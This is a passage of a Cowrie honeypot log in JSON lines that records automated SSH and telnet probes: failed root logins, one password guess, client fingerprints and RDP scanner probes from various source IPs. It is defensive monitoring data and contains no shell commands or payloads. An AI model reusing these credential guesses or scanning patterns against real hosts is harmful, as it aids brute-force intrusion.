{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:44:6a:8a:94:7e:65:6b:92:94:9f:bc:0c:31:fd:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXVK/X23x3oGRYooST5JA9W5fmmKzc37fHONbQuh8XowkMcEnaYMFjMsrgmgl5/k8kAmcEY6/0vpb6R1pzC89rkJB4m5Y5ApFHsmRLUD9miDswe/ICiOTtaTS3JtA2yMvF5Vu6Yg92palcpnq9YXX12iNk/mf6XMUJ075IIt2vY+Uvp8FmpmUpRBhIZkjKbzNpuIf/EKLbmPdp7/TqRBUFAq0CAisTvkKfqdtcEG7rBdAb8r7IGNamE6+AAjRrfX6a5AgHE1oUx266g43mq5DFmSwWwUWBOr4APbDO4IYTRIs4uBFnbobVpuAKDX1clHWAx3VZu0s0CgAoa3dhSTvZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:29.653020Z","src_ip":"87.121.69.138","session":"7ff384a0f472","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:13:db:cd:c8:68:81:7d:a8:26:43:2c:3b:03:dd:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCo++hy10FQU7P1YnYqWTqNW6CXE+m6Y0ysXAkWwX0Gr5tw/0Go3J/PiUlGETjuv0aI6Q8qK/w/9/47jVXAGkm7hvoO38S2QfXJyJaVmbYtrqGVkHc7SOosaFd6D9oAed4TpOSAsMwdSP8qdbpO8AbLtrsRBYsQN8gv32a48QZzr+uQu0DnUKpnWAu3fCnssVwlmEqJPhl2qBnp1pkljVspaWOZsOO8pe7u7KB9I/D4c1A6RRVV3qtUYIwv68nFMVqV6NOC2QEWmal34/RnH8lPsa476BCTcXR3Ht9uwzfETiB1OdwQUQE5b/Su6zm6z2xaEZ12daoJvQjSDFTvOqMnQILkxFFTqAXmFsVMf9MN+1a0kNs1ObmfJdMBXc31uOV5XeCwlU9bxBuN5ytZSBcfkr+NxLIN21BPofTHZok53X94jVAcxMPEAZ5hgytl6TDPQn0mqqqvSUmb+XjJDUClXEK67PgoTZyax7Twnbke093OiozM+DCYKWnf+u0YksrwemfSopeHzt8lm4v6KpkpUFs8vMm9BNcZWuJPkjMCIz+eZPsQ7epA8q35dAKpZ7jhelc2FSvZjDsSSemB220YOtzeJVvhKmM6y1BcsrnFRBxpw6wxBoNf78KVXeUtsHqKT0FP++XIB54/bHoYQBw8kG9SkJJvCibSThxJae/jnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:13:db:cd:c8:68:81:7d:a8:26:43:2c:3b:03:dd:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:29.737256Z","src_ip":"87.121.69.138","session":"7ff384a0f472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:13:db:cd:c8:68:81:7d:a8:26:43:2c:3b:03:dd:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCo++hy10FQU7P1YnYqWTqNW6CXE+m6Y0ysXAkWwX0Gr5tw/0Go3J/PiUlGETjuv0aI6Q8qK/w/9/47jVXAGkm7hvoO38S2QfXJyJaVmbYtrqGVkHc7SOosaFd6D9oAed4TpOSAsMwdSP8qdbpO8AbLtrsRBYsQN8gv32a48QZzr+uQu0DnUKpnWAu3fCnssVwlmEqJPhl2qBnp1pkljVspaWOZsOO8pe7u7KB9I/D4c1A6RRVV3qtUYIwv68nFMVqV6NOC2QEWmal34/RnH8lPsa476BCTcXR3Ht9uwzfETiB1OdwQUQE5b/Su6zm6z2xaEZ12daoJvQjSDFTvOqMnQILkxFFTqAXmFsVMf9MN+1a0kNs1ObmfJdMBXc31uOV5XeCwlU9bxBuN5ytZSBcfkr+NxLIN21BPofTHZok53X94jVAcxMPEAZ5hgytl6TDPQn0mqqqvSUmb+XjJDUClXEK67PgoTZyax7Twnbke093OiozM+DCYKWnf+u0YksrwemfSopeHzt8lm4v6KpkpUFs8vMm9BNcZWuJPkjMCIz+eZPsQ7epA8q35dAKpZ7jhelc2FSvZjDsSSemB220YOtzeJVvhKmM6y1BcsrnFRBxpw6wxBoNf78KVXeUtsHqKT0FP++XIB54/bHoYQBw8kG9SkJJvCibSThxJae/jnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:29.741358Z","src_ip":"87.121.69.138","session":"7ff384a0f472","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:8f:15:37:1f:10:73:64:1f:e6:9a:0d:31:fa:88:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYVPXPZ0ATsF7jqr+KgKqtiLZALnDRnREJQIF2zUodLwjMAGsIC51qxjT/IWGVr6mpIOVgXm1GhjYGC6prKvSl3zw85HkGwG5+Phvte5ShPuQH6SGCGPtTye8S1mbV5RfogIuy88hJX4bsKHfaoCW9eD8l9tapycRzRqledKdwtsalgtWcfEnHImNN5+x7VkDUo5giGmExgoM4lyej9vKO+KSg0Ape4nt1a1713trR9rvVmPGfL00cLfUqmGWNi9pMOKRCH1adhDCDJoxmF/6k4PhFXInKwKf/f2kHPxkw8zek5q6A+c0T6RMawyrEzQ4fU+/kpGWv4mlFiOnz7kU1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:8f:15:37:1f:10:73:64:1f:e6:9a:0d:31:fa:88:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:29.826061Z","src_ip":"87.121.69.138","session":"7ff384a0f472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:8f:15:37:1f:10:73:64:1f:e6:9a:0d:31:fa:88:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYVPXPZ0ATsF7jqr+KgKqtiLZALnDRnREJQIF2zUodLwjMAGsIC51qxjT/IWGVr6mpIOVgXm1GhjYGC6prKvSl3zw85HkGwG5+Phvte5ShPuQH6SGCGPtTye8S1mbV5RfogIuy88hJX4bsKHfaoCW9eD8l9tapycRzRqledKdwtsalgtWcfEnHImNN5+x7VkDUo5giGmExgoM4lyej9vKO+KSg0Ape4nt1a1713trR9rvVmPGfL00cLfUqmGWNi9pMOKRCH1adhDCDJoxmF/6k4PhFXInKwKf/f2kHPxkw8zek5q6A+c0T6RMawyrEzQ4fU+/kpGWv4mlFiOnz7kU1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:29.830611Z","src_ip":"87.121.69.138","session":"7ff384a0f472","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:f3:1f:07:26:dd:ff:7d:2b:b3:d3:f1:22:26:66:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxqGpNOM9CyjqF5ccpcGLu0yxA2A/s0XcckJaZbZlV28EjEQYTl8ttF4DY5q8iqIIAu+xdG0XxBorhRNfly1Do0x85qDQSr8qUF78UekYl9ygu2RHVVu978XpwxevdNbohXt9UuzmWe5aJHvywYo/6Qgem59CHJNe3CFDhhL6EA9HHlJW0S+9DUl0Me+ujQoqt1d0Qa0ZmUyitfYd+guigah/+6GbzWMTDTQ36ObpT31UulvhJe4eOrA4F9cbrLzq3BN5reJ0HpDPKS+GlVV6NY0yL8muZpzB5p0ZwNCarcFlZ9l8GEohZmnZDd+rhqUsPRrAWbPyuBFQ43BoLv6kqt0yEag2jVnh8ES4Kp8LnB3SFt9CGDrS6CAPnEkjX7UIPcbarH9CHCHhjE6pd9tPDTTTcL8ExM3pcTnRJIw5lYS5AdIbuoR+wLRAOrWl+6wWgSB/hK2/DX3E05fsvpmvfj/0Nd5FSx4LbmiWgAe/m444wJ8lIRuzqH0OIl4Gq6olC/Xg9sgH4HAKg0fbauXO6QTRrl5sXn5U2FIqzz+dAezRa2uAxlsqgpRUGDh61iRV2jG6bV+BeNcoLvgDQDM8Jg5hZvdRq3Ct3NRkBNNVlZOAGvQzrjoMPkfZY8pVqEtfxUMmBm8iF9PelWzwl6uVRTbs7o0+3aCWDdSYPiHwOfQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:f3:1f:07:26:dd:ff:7d:2b:b3:d3:f1:22:26:66:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:29.915407Z","src_ip":"87.121.69.138","session":"7ff384a0f472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:f3:1f:07:26:dd:ff:7d:2b:b3:d3:f1:22:26:66:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxqGpNOM9CyjqF5ccpcGLu0yxA2A/s0XcckJaZbZlV28EjEQYTl8ttF4DY5q8iqIIAu+xdG0XxBorhRNfly1Do0x85qDQSr8qUF78UekYl9ygu2RHVVu978XpwxevdNbohXt9UuzmWe5aJHvywYo/6Qgem59CHJNe3CFDhhL6EA9HHlJW0S+9DUl0Me+ujQoqt1d0Qa0ZmUyitfYd+guigah/+6GbzWMTDTQ36ObpT31UulvhJe4eOrA4F9cbrLzq3BN5reJ0HpDPKS+GlVV6NY0yL8muZpzB5p0ZwNCarcFlZ9l8GEohZmnZDd+rhqUsPRrAWbPyuBFQ43BoLv6kqt0yEag2jVnh8ES4Kp8LnB3SFt9CGDrS6CAPnEkjX7UIPcbarH9CHCHhjE6pd9tPDTTTcL8ExM3pcTnRJIw5lYS5AdIbuoR+wLRAOrWl+6wWgSB/hK2/DX3E05fsvpmvfj/0Nd5FSx4LbmiWgAe/m444wJ8lIRuzqH0OIl4Gq6olC/Xg9sgH4HAKg0fbauXO6QTRrl5sXn5U2FIqzz+dAezRa2uAxlsqgpRUGDh61iRV2jG6bV+BeNcoLvgDQDM8Jg5hZvdRq3Ct3NRkBNNVlZOAGvQzrjoMPkfZY8pVqEtfxUMmBm8iF9PelWzwl6uVRTbs7o0+3aCWDdSYPiHwOfQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:29.919569Z","src_ip":"87.121.69.138","session":"7ff384a0f472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:30.015872Z","src_ip":"87.121.69.138","session":"7ff384a0f472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.997658252716064,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:37.184477Z","src_ip":"192.119.13.58","session":"5b81fdc71b9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60110,"dst_ip":"10.17.0.5","dst_port":23,"session":"72d0a502bd1c","protocol":"telnet","message":"New connection: 192.119.13.58:60110 (10.17.0.5:23) [session: 72d0a502bd1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:46.149303Z"}
{"eventid":"cowrie.session.closed","duration":41.83530783653259,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:56.811729Z","src_ip":"192.119.13.58","session":"74f081fdf592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":40902,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb8a3105bcd6","protocol":"ssh","message":"New connection: 103.101.216.219:40902 (159.203.135.109:22) [session: eb8a3105bcd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:02.744666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:02.750696Z","src_ip":"103.101.216.219","session":"eb8a3105bcd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:03.002182Z","src_ip":"103.101.216.219","session":"eb8a3105bcd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2018","message":"login attempt [root/2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:04.026543Z","src_ip":"103.101.216.219","session":"eb8a3105bcd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:05.277887Z","src_ip":"103.101.216.219","session":"eb8a3105bcd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42694,"dst_ip":"10.17.0.5","dst_port":23,"session":"d91ed837d64a","protocol":"telnet","message":"New connection: 192.119.13.58:42694 (10.17.0.5:23) [session: d91ed837d64a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:09.749027Z"}
{"eventid":"cowrie.session.closed","duration":45.335957050323486,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:11.494550Z","src_ip":"192.119.13.58","session":"06a0a8454c78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53508,"dst_ip":"10.17.0.5","dst_port":22,"session":"264a7979d0ae","protocol":"ssh","message":"New connection: 152.42.212.128:53508 (10.17.0.5:22) [session: 264a7979d0ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:19.536237Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:19.541866Z","src_ip":"152.42.212.128","session":"264a7979d0ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:19.547997Z","src_ip":"152.42.212.128","session":"264a7979d0ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.78456091880798,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:20.933737Z","src_ip":"192.119.13.58","session":"72d0a502bd1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40866,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad226d035874","protocol":"telnet","message":"New connection: 192.119.13.58:40866 (10.17.0.5:23) [session: ad226d035874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:24.404447Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55773,"dst_ip":"10.17.0.5","dst_port":22,"session":"efacb99bafe7","protocol":"ssh","message":"New connection: 167.172.81.52:55773 (10.17.0.5:22) [session: efacb99bafe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:37.122848Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:37.248312Z","src_ip":"167.172.81.52","session":"efacb99bafe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:37.252790Z","src_ip":"167.172.81.52","session":"efacb99bafe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42696,"dst_ip":"10.17.0.5","dst_port":23,"session":"48d995b8d2e6","protocol":"telnet","message":"New connection: 192.119.13.58:42696 (10.17.0.5:23) [session: 48d995b8d2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:40.706112Z"}
{"eventid":"cowrie.session.connect","src_ip":"151.15.247.242","src_port":43346,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb7a903c6a8f","protocol":"telnet","message":"New connection: 151.15.247.242:43346 (159.203.135.109:23) [session: eb7a903c6a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:42.253390Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":58258,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1d407d63dfc","protocol":"ssh","message":"New connection: 194.59.206.2:58258 (159.203.135.109:22) [session: a1d407d63dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:43.376810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:43.381495Z","src_ip":"194.59.206.2","session":"a1d407d63dfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:43.468065Z","src_ip":"194.59.206.2","session":"a1d407d63dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:43.559097Z","src_ip":"194.59.206.2","session":"a1d407d63dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.64614152908325,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:50.395020Z","src_ip":"192.119.13.58","session":"d91ed837d64a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53692,"dst_ip":"10.17.0.5","dst_port":23,"session":"848699251a5a","protocol":"telnet","message":"New connection: 192.119.13.58:53692 (10.17.0.5:23) [session: 848699251a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:52.814246Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57474,"dst_ip":"10.17.0.5","dst_port":23,"session":"15bd8b1c24a2","protocol":"telnet","message":"New connection: 192.119.13.58:57474 (10.17.0.5:23) [session: 15bd8b1c24a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:53.903713Z"}
{"eventid":"cowrie.session.closed","duration":12.157988548278809,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:54.411295Z","src_ip":"151.15.247.242","session":"eb7a903c6a8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45194,"dst_ip":"10.17.0.5","dst_port":23,"session":"f90191653038","protocol":"telnet","message":"New connection: 192.119.13.58:45194 (10.17.0.5:23) [session: f90191653038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:22:57.486747Z"}
{"eventid":"cowrie.session.closed","duration":36.27132558822632,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:00.675711Z","src_ip":"192.119.13.58","session":"ad226d035874","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34604,"dst_ip":"10.17.0.5","dst_port":23,"session":"330969502652","protocol":"telnet","message":"New connection: 192.119.13.58:34604 (10.17.0.5:23) [session: 330969502652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:01.974082Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49972,"dst_ip":"10.17.0.5","dst_port":23,"session":"6291ade7bbe2","protocol":"telnet","message":"New connection: 192.119.13.58:49972 (10.17.0.5:23) [session: 6291ade7bbe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:06.173856Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54506,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcd33809bc20","protocol":"telnet","message":"New connection: 192.119.13.58:54506 (10.17.0.5:23) [session: fcd33809bc20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:07.563426Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.200.101","src_port":38194,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f813c63291b","protocol":"ssh","message":"New connection: 102.129.200.101:38194 (10.17.0.5:22) [session: 7f813c63291b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:12.276458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:12.281783Z","src_ip":"102.129.200.101","session":"7f813c63291b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se",